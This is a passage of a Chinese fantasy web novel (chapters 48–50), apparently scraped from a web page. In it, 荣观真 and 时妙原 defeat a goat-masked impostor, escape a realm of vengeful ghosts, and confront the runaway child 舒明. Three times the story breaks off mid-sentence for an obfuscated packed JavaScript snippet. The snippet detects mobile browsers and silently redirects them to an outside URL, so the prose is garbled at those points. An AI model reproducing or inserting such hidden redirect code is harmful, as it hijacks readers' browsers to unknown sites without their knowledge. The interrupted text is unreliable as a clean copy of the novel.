“我看看啊……一二三四,二百八十四下!勉强算是够了!”徐知酬美滋滋地问,“怎么,你还想再继续吗?不过在此之前你要不要理一理你弟弟啊,他好像已经快把自己气死掉了。” “不了。但是,我还想再问你个问题。” “问。” “你,真的是徐知酬吗?” “嗯……你为什么会这么问?” “只是好奇而已……” “那如果我说,我的确不是呢?” “那你是谁?” “你难道猜不到吗?” 徐知酬站起来,捏住了山羊脸面具的下半部分。 “以我对你的了解程度,我究竟是你的什么人,你也应该也能猜出个大概吧?” 空气里传来黏腻的声音,听起来就像是柴刀在肚皮里来回搅拌。那张诡异的山羊脸被掀开半边,露出了其后俊美又邪气的容颜。 一片阴云笼罩在了他身上。 这是一张令人印象深刻的脸。 时妙原的脸。 “阿真。” 他慢慢起身,走到荣观真身前,万般怜惜地跪了下来。 荣观真无力地垂下了头。他口中念念有词,但没人能听清他具体在讲些什么。 徐知酬理了理他的衣领,他说:“看看我吧,阿真。你为什么在发呆,你就没有什么想对我说的吗?” “快说你想我,告诉我你有多思念我。说说你对我做过的事情,然后,对我承认你的错误。说什么都可以,你别不看我呀?” “你冤枉了我那么多年,现在就向我说一句对不起吧,好吗?” “你想我的时候,对自己做的事情,我可是全部都看在眼里呢。” “……” “你说什么?阿真,我听不见。大点声好不好?” “……脑袋。” “嗯?”徐知酬微笑道,“脑袋怎么了?” 荣观真并拢双指,气若游丝地点了点自己的脑门。 他说: “朝脑袋打。” “什么?” 徐知酬愣住了。 耳畔传来破风声,有什么东西从他脑后飞来,带着一股狠辣无比的热浪斜插入他颈中,将他整个人钉到了地上。 甜腥味迅速涌上喉头,他“哇!”地吐出了一大口血。那血在地上积成明镜似的小滩,它映照出了它的错愕与惊恐,还有他身后涌动的阴云和狂风。 徐知酬低头一看,发现那是枚有人小手臂长的乌羽:它的边缘锋利无比,那细密的羽片如螺旋桨般卡死了他的喉肉。他听见自己的身体传出断断续续的漏风声,他颤抖着回过头去,然后,他看到了可能是此生最难以忘怀的画面。 “你,你为什么……!” 他看见了风。 风来自羽流,阴云如猛兽吞噬了断崖。 黑羽遮天蔽日,一个满脸鲜血的男人正晃晃悠悠地悬停在半空中。 他的肩上扛了个人,而自他身后延展出来的双翼恐怕便是那狂风的源头。他浑身狼狈不堪,脸上的表情却比从地狱中爬出的恶鬼却还要恐怖百倍。 他是鬼吗?似乎并不尽然,因为他胸前的木质神像眉目柔顺且又含情,而他眼上被刻意涂抹的鲜血则令他像极了庙宇里待开光的佛陀。 你很难说,他究竟在这里看了多久。 你也很难计算,他到底在这里忍耐了多长时间。 但至少,此时此刻他终于等到了不必再等的指令。 时妙原轻振双翼落上地面。他先是把遥英扔到了荣承光身上,然后他一把抡起玉躺椅,干脆利落地将徐知酬的脑袋削掉了半扇。 48.林下飞鸟 “哟。” 时妙原惊讶地捂住了嘴巴。 “不好意思,打歪了。” 说着,他挥动右翼,以肉眼无法捕捉的速度横切过去,将徐知酬剩余的下半颗脑袋也一并扫成了血沫。 徐知酬咣!一声后退撞上了崖壁,土石纷纷洒落,它们渗入切面整齐的半截脖颈中,只眨眼间便在那生了根。血与骨肉疯狂向上生长,很快就恢复成了一颗完好如初的山羊头。他晃晃脑袋反手向前送出一支玉箭——它的确命中了荣观真,可他却在被箭尖接触到的瞬间轰地化成了一汪白雾。 咔哒。有什么东西应声落地,徐知酬定睛一看,那是方才还在时妙原心口停留的木雕。 身后传来破风声,他尚未来得及回头,荣观真便一肘击碎了他刚才长好的太阳穴。他吓得扭头就跑,未曾想却迎面被时妙原的翅膀扇回了原处——原处当然有荣观真和他的拳头,他活动活动关节蓄力半秒,砰地将他的脑袋砸凹了下去。 “啊!!!!” 徐知酬碎倒在地,时妙原三步并作两步冲上前来手脚双翼并用猛抽起了他的嘴巴。他一边打还一边催动刚羽向他脸上刺去。殴打持续了近五分多钟,直到徐知酬几乎被捅成了筛子,时妙原才呸了一声,揪着他的头发将他生生拽了起来。 “数清楚没有?刚刚老子一共扇了你三百次!”他掐住他的脖子怒吼道,“多出来那十六下算白送你的,你敢欺负老子的人,你这个崽种!!!!” 荣观真走上前来拍了拍时妙原的肩膀,他问:“他之前动的你哪只胳膊?” “右边胳膊!”时妙原大声嚷嚷道,“疼死老子了!” 徐知酬的两边胳膊同时被卸了下来。 即便身具再生之力,在如此狂风骤雨般的摧残下,他也再没了半点反抗的力气。他像条鼻涕虫似地蜷缩在地上,眼前人一个云淡风轻,一个怒气冲天,荣观真镇静似高台上收受香火的神佛,时妙原则气得连羽毛尖都在发抖。 徐知酬指着他哆哆嗦嗦地问:“什么情况……怎么回事……你不是已经死了吗?他不是,他不是用不了法术吗……你怎么又回来了,你是怎么找到这里来的!!” “老子跟你爹感情好有心灵感应不行吗?!”时妙原指着他的鼻子臭骂道,“我告诉你徐知酬,要不是荣观真提前把法力存到了神像里,你难道真以为就凭你这点三脚猫的功夫能在他面前耍威风吗?小没良心的东西,你就盼着老娘死是吧!我呸!” “这世上不可思议的事多了,死而复生又能算得上什么呢?” 荣观真弯腰捡起神像,将它重新挂在了脖子上。他吹吹木缝里的灰尘,笑着对徐知酬说道:“他身上有我的像和祝福,自然也就能看到我所在的位置。你对我放了那么多屁话,但我早就知道他其实并没有死。我只是想看看你到底是什么来头,才会任由你一直闹到现在,现在我听完了你的故事,也看完了你所谓的悲惨遭遇……说实话,我觉得这一切无聊透顶。” 他扭头望向时妙原:“你脸上的血哪来的?” “啊?这都是我自己的。”时妙原指着自己的眼睛满不在乎地说道,“我手头没有红布,就先这样凑合着了。老爷啊,我跟你说想凭这法子找到你可真不容易啊!你知道附近有多少长得一模一样的悬崖吗?要不是有你这点法力吊着,我估计连翅膀都变不出来啊!哦哦哦说到这个,你看我这大翅膀怎么样?拉不拉风,帅不帅!搁洋人那儿我这得叫啥?堕落天使对吧!” 荣观真抬手虚抚他的脸颊,一阵微风吹过,时妙原脸上的血迹即刻消失得无影无踪。 “下次别让自己受伤了。”他说。 时妙原咧嘴一笑:“小伤而已!被鸡啄两下都比这个疼。” “你们这两个混蛋……”徐知酬趴在地上呜咽了起来,“荣观真,你这个王八蛋……你害我父母家人,到如今居然还敢……啊!!!” 荣观真踩住了他的脸。 他脚下不断用力,直到徐知酬的脑袋大地融为一体,他才一脸悲悯地叹道:“徐导演,你歇歇吧。你的台词已经讲完了,现在该轮到我了。” “你……你应该赎罪!”徐知酬断断续续地吼道,“你就不应该活着!你对不起……对不起我们所有人……” “对,这就是我要告诉你的事。”荣观真移开脚,饶有兴致地打量起了地上那滩不成形状的物体。他笑着对徐知酬说:“如果没有我的话,你们乌枫镇这些人,就根本不会有出生的机会。” 徐知酬的吼声卡在了喉咙里。 风早就停了,时妙原将关亭云等人一一揽到了身边。小护法们和杜政在他的羽翼下瑟瑟发抖,荣承光则抱着遥英不断地念叨着什么。徐知酬还在作无谓的挣扎,荣观真则平静地端详着他的丑态,他看了半天,指着荣承光说:“他就是传说中被镇在东阳江中的那只巨妖。” 荣承光浑身一震。 他呆呆地抬头望向荣观真,遥英也在他怀里皱了皱眉。 “当年,木澜江与仙云河水神灵根莫名被毁,两河水位暴涨,决堤在即,这小子自告奋勇上去吸纳余波,但是修为不足以压制三渎并流的力量,故而好几次濒临爆洪边缘。”荣观真像个局外人似地解释道,“我为了阻止事态恶化,便亲手将他封印在了江底。” “什么?”荣承光瞪大了双眼,“为什么我不知道这……” “你不知道的事情多了,这里轮不到你说话。”荣观真抬手封住了荣承光的嘴巴。他接着对徐知酬说道:“后来,二十九年前,我因为一些事情分身乏术,导致镇印失效,这才造成了当年的洪灾。我弟弟心灵脆弱,性格软弱,我认为他承受不了自己间接害死了人类的事实,才顺便洗刷掉了他的记忆。” “你狡辩!”徐知酬当即大吼,“这都是你的一家之言,谁知道这是不是你为了脱罪的编出的托词!” 荣观真冷笑道:“对,你可以这么想,但你说的那些不也是你的一家之言吗?要不是你今天实在是太聒噪,我根本就懒得跟你解释我做事的动机。我不想纠正,是因为我知道讲道理是这个世界上最没有意义的事情。你说我无恶不作,从过去到现在我听过无数比这更难听的话!你觉得我真的会放在心上吗?你以为你是什么东西?你居然还敢来要我认错!如果没有我的话,你从出生到现在认识的所有人,他们根本就不会有睁开眼看世界的机会!” “你们全部都要下地狱!!!”徐知酬发疯了似地大喊了起来,“你要和时妙原一起下地狱,十恶大败狱就是为你们——啊啊啊啊啊!!!!” 不等徐知酬讲完,荣观真从掌心催出一把炎火向他砸了过去。火光冲天而起,徐知酬的惨叫较之于无间地狱中受刑的恶鬼更甚。那火越烧越旺、越燃越盛,时妙原察觉不对,当即大喊道:“当心!这混蛋又要做手脚了!” 轰!烈火冲天大爆,江水即刻上涨。火水袭来瞬间,时妙原当机立断将所有人护在了羽翼之下。黑暗将人们层层包围,徐知酬的怒吼被挡在了外面,但烈火的灼烧还是令他发出了一声闷哼。 好烫!他有点受不了了! 正当他即将力不能支之时,一股沁人心脾的清流突然涌遍了他的全身。时妙原抬头望去,只见在一片漆黑之中,荣观真掌心的莲纹正在微微地泛着冷光。 “别担心,我护住了。”荣观真低声道,“我不会让你有事的。” “好……好!”时妙原轻呼几口气,心有余悸地说道,“幸好……幸好你给了我神像!不然我肯定找不到你在哪。” “也亏你脑子还算好使,还知道要蒙眼。” “嗯。” “怎么就回我个嗯?你什么时候话变这么少了?” “不是,我是……哎!我是想问,你,你刚才说的都是真的吗?” “你指的是?” “就是,你和你弟弟……” “当然无半句虚言。”荣观真干脆利落地说,“都到这个地步了,我没必要为了脱罪和那种货色撒谎。” “哦,哦……”时妙原看了荣承光一眼,后者已经陷入了呆滞,不知道在想些什么。 他暗暗叹一口气,准备先放下这两兄弟之间的纠葛不表。于是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186870|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转移话题道:“你的眼睛好了?” “嗯,那家伙聪明反被聪明误。他要是不治好我的眼睛,给你两百对翅膀你也找不到我在哪里。” “你这话说的!你的力量恢复了多少?” “不多,但对付他够用了。外面什么情况,你能察觉得到吗?” 时妙原侧耳倾听道:“听不太清。但我猜,我们应该很快就要回到徐家的客厅里了。” “那正合我意,你做好准备吧。”荣观真淡定地说,“等我带你们一起逃出去。” 外界传来隆隆的声响,时妙原紧张地绷直了身子。荣观真合拢双手对时妙原说:“等下回到那里,我要你帮我保护好他们。至于你,我会保证你安然无恙。” 时妙原点了点头。几乎是同时,他感到一阵巨大的冲力砸向了他的翅膀,下一秒,他听见荣观真大喊道:“收!” 他们掉到了地板上。 徐家客厅满地狼藉,早前的家具已摆设已不复原位。徐知酬高站在餐桌上,他捂着焦黑的脸庞声嘶力竭道:“荣观真,你们逃不掉了!我告诉你,这里其实就是地狱!!!乌枫镇所有亡灵都在这里等你,十恶大败狱无固形,你就在这里受死吧!!!!” 无数怨灵应声破门而入,曾为乌枫镇居民的恶鬼们一拥上前,如潮水般淹没了屋内众人。 恶鬼们叫得凄厉,徐知酬大笑不止:“狂啊!你倒是继续跟我狂啊!你不认罪又如何,空相山神又算什么,不过就是管些个破土堆子而已!你就这么点法力,再怎么装模作样不还是得死在我这里——” 恶灵们纷纷开始后撤。 它们的步伐慌乱、神情惶恐,好像在逃避什么比死还要可怖的事物。 “什么?”徐知酬彷徨四顾,“发生什么事了?” 冤魂散开之后,露出了包围圈中安然无恙的众人。 时妙原再度支起了羽翼,他将其余人全都护在了身后,而荣观真则手持一方金光宝剑,静静地站立在最前方。 他周身云雾缥缈,那是自香炉中缓缓升起的烟火。 看清他模样的瞬间,徐知酬不可置信地瞪大了双眼。 荣观真戴了一副面具。 一副红蓝双色的手绘脸谱面具。 在二十九年前,这是一个孩子亲手为家人准备的礼物。现如今它们被合二为一,在他们所谓的杀身仇人脸上呈现出了扭曲诡谲却森严无比的姿态。 然而比起这面具,更引人注目的当是他手中的宝剑:此剑通体流金,雕经篆文,与三度厄相比,它的威名并不常为人所道。但若是了解荣观真的人都会清楚:空相山神除三度厄外还有一把随之一同降生的长剑。它得能渡亡灵、斩邪祟,而它的名字是…… “无弗渡。” 面具下的声音有些失真,持剑人双手合十,语调和缓。微微佛光从他指缝漏出,兹要是被光照到的恶灵,便通通化作了灰烬。 可它们消散时并不痛苦,与其说那是灰飞烟灭,不如说,那是彻彻底底的大解脱与圆满。 “现在,在对你说话的并不是空相山神。” 荣观真向前踏出一步,万千亡灵登时齐声呜咽。他轻抚无弗渡剑锋,那光渗入他的掌心,和本就佛像庄严的莲纹沁作了一体。 “我从你的话里听出来,你好像对我母亲的事情很是在意。”他说,“正巧她生前认识一位尊长,祂正好就主管你这里这些,无人超度的亡灵。” “地藏王菩萨座下有增、损二将,名官将首。”时妙原贴心地解释道,“官将首各戴红蓝面具,其所途径之处恶鬼悉数灭散,修行之人若是能唤灵附体,便可以走出一种驱魔降鬼的步法——那就是三步赞。恭喜你啊小徐,你今天遇到高人了。不论你到底是人是鬼,现在,你老子他都要来渡你了。” “不,这句话其实说得有些欠妥。” 荣观真转身从香炉中取出了三支线香。他先是对徐父徐母的遗像拜了三拜,然后,他将香灰捏碎点在额间,转身对徐知酬说道:“渡化你是菩萨的事。至于我么……” “我只杀不渡!” 49.孰以舒明(一) “给我弄死他们!!!” 徐知酬一声令下,怨灵们再度奔涌上前,时妙原赶忙收拢羽翼护住身后众人,荣观真则更进一步挡在了他的身前。 他左手作退魔印,右手持将无弗渡竖直插进了地板——当!冲在最前方的亡魂应声而散,死灵破灭前爆发出的惨叫冲破了屋顶。 荣观真挥剑斩碎土石砖瓦,途中他不忘两虚一实踮步行赞,那步法不仅吓退了地狱众生,也令屋内肉眼可见的魂灵全都化作了黑烟。徐知酬抬手唤来层层水波,危急关头遥英挣扎起身,艰难地将避水珠高举过了头顶: “给我退下!” 重身水霎时驻足不前,荣观真一边以无弗渡击退恶灵,一边扭头对时妙原喝道:“带他们飞上去!” “啥啥啥?这么多人一起吗!好吧那也行!灯闪铃响请各位乘客抓紧扶手!” 时妙原双足化爪,抓起荣承光和遥英摇摇晃晃地飞了起来。亭云居星识趣地抱住了他的腰,见荣观真还站在原地,他们登时急得嗷嗷大叫:“老爷,老爷!你也快来啊!” 荣观真又斩退了一波恶灵,他将无弗渡咬在嘴里,攀住周边尚存的家具一跃而起抓住了时妙原的手。时妙原当即振翅狂飞,有不死心的怨灵扒住了荣观真的裤腿,不出意外地被他杀了个干净。 “一直往上飞,看到太阳就好了!”荣观真对他喊道,“有我的剑在,它会引我们回去!” 时妙原当即埋头狂飞。他不知太阳现在何方,幸而无弗渡与避水珠齐发的光辉为他驱散了黑暗。沉寂多年的水底再度蠢蠢欲动,佛光所过之处皆是一片挥之不去的悲泣。 那哀愁照亮了仅余半截的白马残雕,照亮了坑底被开膛破肚的铜制金乌,也照亮了不择手段要将外来者彻底留在炼狱中的亡魂。乌枫镇死去的人们还在源源不断地赶来,但这次它们的目的却有了不同。 比起诅咒和攻击,它们现在更像是在求解脱。 恸哭声震耳欲聋,其中有人在叫妈妈,有人在寻找走失的亲儿。某一个瞬间他们听见有人在呼唤谁的名字,那人喊的是: “阿真!我怕黑!” 时妙原立刻提醒荣观真:“是徐知酬搞的鬼!不要被他干扰了!” 此地不宜久留!他竭力向上飞去,而亡魂似水草般缠遍了他的全身,就在时妙原即将力不能支之时,他忽见脚下的烈光爆盛了开来。 沉重感烟消云散,原是荣观真将无弗渡化作绳索捆住了徐知酬。见首领被捕,其余亡魂当即便再不敢多造次,徐知酬像条蛆一般不断挣扎着,可他越是想要逃脱,便越是不得动弹。 周身的温度不断上涨,时妙原咬紧牙关一路上飞。直到尖啸声即将鼓破他的耳膜,直到地狱火几乎燃尽他的羽翼,直到耳畔熟悉而又陌生的话语令他几度濒临崩溃,直到他已听不见任何声响,直到他已感受不到任何温度,直到他以为天地间只剩下了他一人—— 他也依旧没松开荣观真的手。 轰!!!!! . . 烈日当道。 空相山密林深邃,东阳江平定无波。 河滩边静谧安然,只有江边零落的足迹能证明此地曾有人造访。 一只蜻蜓悬停在了水草上。它的复眼密集,将烈日折射出了五彩斑斓的绚光。 那光很快开始震颤,它嗅出了某种预兆。 虫儿仓皇起飞,水面旋即浮起了阵阵涟漪。细泡渐次汇聚成作漩涡,很明显有什么东西即将破水而出。 那会是什么?是河鱼,是怪物,还是…… 轰!乌羽突破水层,带着无数精疲力尽的水花重新回到了人间。双翼轰然大展,那灿烂的羽粉折射出了层次分明的光谱。 它自江中升空,而后又徐徐落地,它在河滩上勾画出了一条颀长均匀的沟壑,不知多久以后它终于停下,稍待片刻后便猛地直起了身来。 哦! 蜻蜓想: 那应该也是太阳! “我靠啊!” 太阳叽哩哇啦地惨叫了起来: “老子的羽毛全都湿光了啊!!!!” 河滩一片狼藉,时妙原落地时造成的冲击几乎将泥土全都砸翻了开来。虫儿四散奔逃,他呸呸两声吐出水草,收掉翅膀,将地上落得七零八落的同伴们归拢了起来。 徐知酬被甩到了十几米外的地方,荣观真一落地便取下面具,三步并作两步冲到了他面前。 “说!你到底是谁!”他揪着他的衣领怒吼道。 “……”徐知酬沉默不语。他整个人软得像块棉花,一块吸饱了水的海绵。 “你别给我装死!”荣观真恨不能直接掐断他的脖子,“老实交代,究竟是谁派你来的!你为什么会知道这么多事情,你到底是谁!” 山神的斥问传入山林,震得无数飞鸟惊惶地飞离了树梢,徐知酬的眼珠转动了两下。过了大半分钟,他才气若游丝地说道:“我是时妙原啊……” “你还敢撒谎!” “那我是荣闻音。” “你是不是想死?”荣观真压低了声线,“如果你真的活腻了,我不介意再送你一程!” “想死?想死,想……” 这个词不知道触动了徐知酬的哪个神经。他喃喃道:“你别说……我确实正有此意。” 他脸上的焦痕依旧斑驳,更衬得他的瞳色又清又冷,浑像是从雪山之巅融化流落的湖水。 “你究竟是谁?”荣观真沉下了声线,“你是雪山山神吗?你是贡布达瓦吗?你是他座下的护法,还是克喀明珠山的什么精怪?我与你素昧平生,你为什么要对我做这些事情?” 徐知酬幽幽地叹了口气。 “我不都说过了吗?我是时妙原,我是荣闻音,我是你的亲人,我是这个世界上和你最亲密的人。您为什么不愿信我?谁能在您的逼问下说谎呢?” 荣观真仰起头,微微吸了口气。然后他抡圆拳头,毫不留情地朝徐知酬的脑袋砸了下去。 他的拳头还没落下,手中的白袍却忽地垮了下去。迷雾扑面而来,他立刻起身环绕四周,果不其然见不远处的山崖上多了一道人影。 “你……!!” 那还是徐知酬,只不过他又变回了原先的模样。那张细长的山羊脸狡黠如鬼魅,他身上的白袍也重新恢复了整洁。 方才那一系列的痛殴似乎没有对他造成任何影响,现如今再称他为徐知酬似乎已经不太合适了。 但比起名字,眼下更让人震惊的是…… 他手中拿着的物件。 金光闪烁,灵力充沛,现世时有虹光拂照,即便在黑夜中亦光彩夺目。 那是一枚熠熠生辉的尾羽。 时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192466|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙原几乎是瞬间就认出了那个东西: 是金羽! 如假包换的,他死前遗落下来的金羽! 荣观真瞪大了眼睛:“你怎么会有这个东西?你……你快还给我!” “是你的吗?你就要我还你。”那山羊人笑容满面,荣观真焦急的模样似乎很合他的心意。他随意端详那金羽几眼便松开手,像扔垃圾似地将它扔到了地上。 荣观真脸色大变,他正欲上前接住,却见那羽毛在半途化作光团,以肉眼几乎无法捕捉的速度产生了形变。 很快,它就生出四肢,变成了一个瘦瘦小小的人影。 那是一个孩子。 他生得清秀可爱、样貌端正,只是他脸上挥之不去的迷茫,让他看起来有一种与年龄不相符合的成熟。 时妙原再度遭到了冲击:这正是那个和荣观真仿佛一个模子里刻出来的男孩! 他惊恐地望向荣观真,而荣观真已无法动弹。 他张着嘴巴,呆呆地问道:“舒明?你怎么会在这里?你,你怎么……你快跟我回去!” 舒明对荣观真坚决地摇了摇头。 “我才不要跟你回去。”他干脆利落地说,“我不想当空相山神!” “这不是当不当山神的问题。”荣观真稍稍沉下了声来,“你和那个人待在一起不安全。他太危险了,你快到我这里……” “我在你身边难道就很安全么?”舒明反问道,“你之所以会创造我,不就是为了让我取代你吗?你不是真的需要我,而是需要一个能将你彻底杀死的人,你只在乎你所谓的计划,你从来就没考虑过我的感受!” 说完,他恶狠狠地望向了时妙原。 “我早就知道我指望不上你!”舒明气呼呼地对他说道,“你的记性太差了,你根本就没搞清楚现在是什么状况!” “什么?我?”时妙原指了指自己,“什么叫我没搞清楚情况?我的记性很好啊你说谁健忘呢?不是,你小子怎么跟我说话的呢?你到底是谁啊,这事儿跟我又有什么关系啊?!” 舒明正准备开口反驳,山羊人弯腰把他抱到了怀里。 “别管他们了,你跟我走吧。”他摸着他的脑袋说,“我可以帮你摆脱这些坏蛋,然后一起过上想要的生活。” “不许走!”荣观真当即爆喝出声,“舒明!你别闹了!你快给我回来!” “我说了我不!”舒明不甘示弱地回吼道,“我不会再听你的话了!荣观真,我一秒钟都不想再看见你!你给我走开!你以后都不许再出现在我面前!” 山羊人捏着舒明的手对荣观真晃了晃:“听见没有?荣老爷,你家小山神说他讨厌你!” 荣观真踉跄上前,才走出没几步便力不能支地倒了下去。他的四肢僵硬得好似石头,而这恐怕便是强行唤增损二将同时附体的代价。时妙原赶忙上前将他扶起,山羊人见状,登时大笑出声: “荣观真,这就是你的最后一枚金羽了!你想知道我是谁吗?想要拿回你的东西吗?有胆子的话,就到克喀明珠山来找我吧!” 话音刚落,他便和舒明便消失在了众人的视线之中。 “你慢着!” 时妙原想要再追,却听见身后传来了阵阵惨叫,他回头一看:只见遥英的嘴角不断涌出鲜血,荣承光紧紧地抱着他,脸上是从未有过的惊恐与彷徨。 50.孰以舒明(二) 时妙原心乱如麻。 山羊人消失之后,他们一路快马加鞭地赶回了酒店,而就这短短的十几里路,用兵荒马乱来形容简直也不为过。 遥英吐血不止,可他身上并没有任何可见的伤口。荣承光几乎崩溃,他除了抓着遥英的手乱喊乱叫以外起不了任何作用,到最后还是荣观真忍无可忍给了他一巴掌,他才终于安分下来了一点。 教训完弟弟之后,荣观真作主张将遥英安排在了二楼的空置卧房里。亭云和居星伤势不重,便充当了在各处设护卫阵法的作用。时妙原除了劳累过度、飞了太久以外也无其他大碍,故而在帮他治好皮外伤之后,荣观真就用一张信用卡把他打发到了楼下。 “拿去弄点吃的,只要不到处乱跑,你想买什么都可以。”荣观真叮嘱道,“有什么事直接喊我,我就在楼上。” 说完,他便在荣承光的催促下一路小跑上了二楼。 时妙原和那张黑漆漆的卡片大眼瞪小眼了许久,最终无奈地叹了口气:“好吧,自己玩儿就自己玩儿。” 一楼寂静无人,套房里的摆设与先前他们离开时相比并无不同。楼上时不时传来断续的哭声,他听着心烦意乱,又暂时没什么心情吃饭,干脆直接脱光衣服钻进了浴室里面。 “呼……” 热水缓缓流淌,时妙原平躺在浴缸中,顶着一只嫩黄的橡皮小鸭子微微阖上了眼睛。 他的身体虽然放松,大脑却依旧运转个不停。从他们被卷入水底到现在也就只过去了一夜而已,而这十几个小时内发生的事,却足以冲垮一个人对这个世界的全部认知。 他活了几万年,还是头一回面对如此错综复杂的谜团。山羊人的身份未知,真正的徐知酬恐怕还下落不明,且不论乌枫镇究竟为何会与十恶大败狱扯上关系,荣承光被封印的事情是不是确实如荣观真所说那般其实也有待考证。 时妙原有一肚子的疑问,可眼下并没有任何人能给他一个明确解释,要光是别人的问题他倒还能隔岸观火——可他偏偏又遇到了那个叫舒明的孩子! 舒明,舒明。他不断默念着那孩子的名字,他不懂他为什么会和金羽产生联系,也搞不清楚荣观真和那小不点之间究竟有什么过节。说到底他的羽毛为什么会变成荣观真的继任者?而且怎么就只有这一个,其他的金羽又跑到哪里去了呢? “这都什么事啊……”时妙原痛苦地捂住了脸,“总不能这小孩是老子生的吧。” 他沉默了一会儿。 过半晌后,他伸出一根手指,试探性戳了戳自己的肚子。 “没这个功能啊。”他小声嘀咕道。 算了!先不想孩子的事了!时妙原自暴自弃地滑进了水中。 反正他至少可以确认一点:荣观真绝对不可能跟别人搞到一起的——但紧接着又出现了一个新的问题,他回想起了那山羊人在消失前对荣观真说的话。他对荣观真说:“这就是你的最后一枚金羽了。” 最后一枚是什么意思? 难道说荣观真还有其他金羽不成? 时妙原猛地甩了好几下脑袋:开什么玩笑,他当初就算是脑子被打坏了,也不可能把金羽都交给荣观真啊!先不说这么做和自寻死路有什么区别,他在被荣观真抓住之明明把它们都放到更安全的地方去了! 他明明…… 时妙原猛地站了起来。 他之前…… 他之前是把金羽藏到哪儿去了来着? . . 两天后。 时妙原已经独处了很久很久。 这期间,荣观真和荣承光一直没有露面,关亭云和关居星也不知钻去了哪里。 扫地机器人孤零零地在墙角落灰,可他甚至连个能放到上面消遣打转的东西都没有。 人在心无安定之时总不免会寄情于别物,短短两天时间,时妙原就叫了六份正餐三次下午茶,还大手一挥让前台送来了满满一冰柜洋酒。 从麻辣小龙虾到炭烤羊后腿肉,从泰利斯卡十年威士忌到酒精度数约等于无的果酒……东岭酒店餐吧里所有像样的出品都被他轮着点了一遍。当然,他刷的都是荣观真的卡。 吃饱喝足之后,他又开始在电视上点播节目,剧集很快看腻,窗外的风景又几乎一成不变,他从床上躺到电视柜上,最无聊的时候他甚至试图从二楼扶手往下滑,直到感觉屁股要着火了才堪堪停下。 第三天晚上,就在时妙原再度鬼鬼祟祟溜到二楼的时候,荣观真猝不及防地一声推开了房间门。 他们面面相觑。 荣观真看见以一副大鹏展翅之姿屹立于扶手上的时妙原,疑惑地问道:“你在这干嘛呢?” 时妙原立刻跳了下来:“没干嘛!刚吃完饭胃有点撑在消食儿嘿嘿。你完事啦?人治好没?遥英那孩子怎么样了?几天没见你想我没有?” “他还活着,倒是你又在使什么坏心思呢?”荣观真说着就往楼下走,“我在里边就听见外头一直叮呤咣啷地响,你别是把人家酒店房间给拆了吧?” “玩滑滑梯而已,我哪能干违法乱纪的事情呀!” 时妙原屁颠屁颠跟在荣观真身后,荣观真刚一落座,他就为他斟上了一杯加满了冰块的威士忌:“老爷喝点!这好几天一直在里头救死扶伤,可给你累坏了吧!” “这是你自己调的吗?” “百分百原汁原味。” 荣观真接过了酒杯。 半杯烈酒入腹,他的脸色终于比刚出来时好了许多。时妙原在一旁偷偷地:这小子现在虽然人还有点憔悴,但至少他的眼睛已经恢复了正常。 看到那对沉稳的褐色眸子的时候,他内心的烦闷一下子消解了不少。 荣观真抬头问道:“盯着我看干嘛?” “看你好看。” “太阳打西边出来了,你之前见我不都连躲带逃的么?” “那你这话说的!终于有人来陪我了,我当然开心啊。” “谁来陪你你都开心吗?” “那不是的,这得看人。”时妙原嬉皮笑脸地说,“要是荣承光那傻子来,高低得给我气得短寿十年。但如果是你的话,我肯定能长命百岁了。” “油嘴滑舌。” 窗外起了微风,氛围难得轻松,时妙原也给自己倒了杯酒。但是他并不喝,就只是单纯地摇晃着玻璃杯而已。 有至少五分钟时间,这间屋子里就只有冰块碰撞杯壁的脆响声。 荣观真将威士忌一饮而尽。他放下酒杯,对时妙原说:“问吧。” “问什么?” “问你想问的话。”荣观真像只猫似地伸长了四肢,“别说你没有,你都快给沙发套瞪出洞来了。” “哎?哈哈哈,这……有那么明显吗!”时妙原干巴巴地笑了几声,“那啥,我其实也没什么特别想问的,我就只是好奇,你为什么不把遥英带回香界宫去治啊?” 荣观真反问:“我为什么要带他们回香界宫?” “因为那里更安全呀。这儿多少算是个案发地点,万一那山羊头没走远,我们岂不是又要被一网打尽了?”时妙原煞有介事地分析道。 “之前会中招是因为没有防备,现在那死东西短时间内应该是不会回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200049|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。” 荣观真又为自己倒满了酒,他懒洋洋地说道:“而且香界宫是我家,要是你的话,你会随随便便把人带到家里去吗?” “哦?”时妙原挑眉道,“那荣老爷,你当初带我回家,是因为你很随便吗?” 荣观真隔着玻璃杯瞪了他一眼。 时妙原凑到他跟前,眨巴着眼睛问:“还是说你觉得,我是那种只要给点好处,就会随随便便跟人回家的浪荡子?” “你是大傻子。” 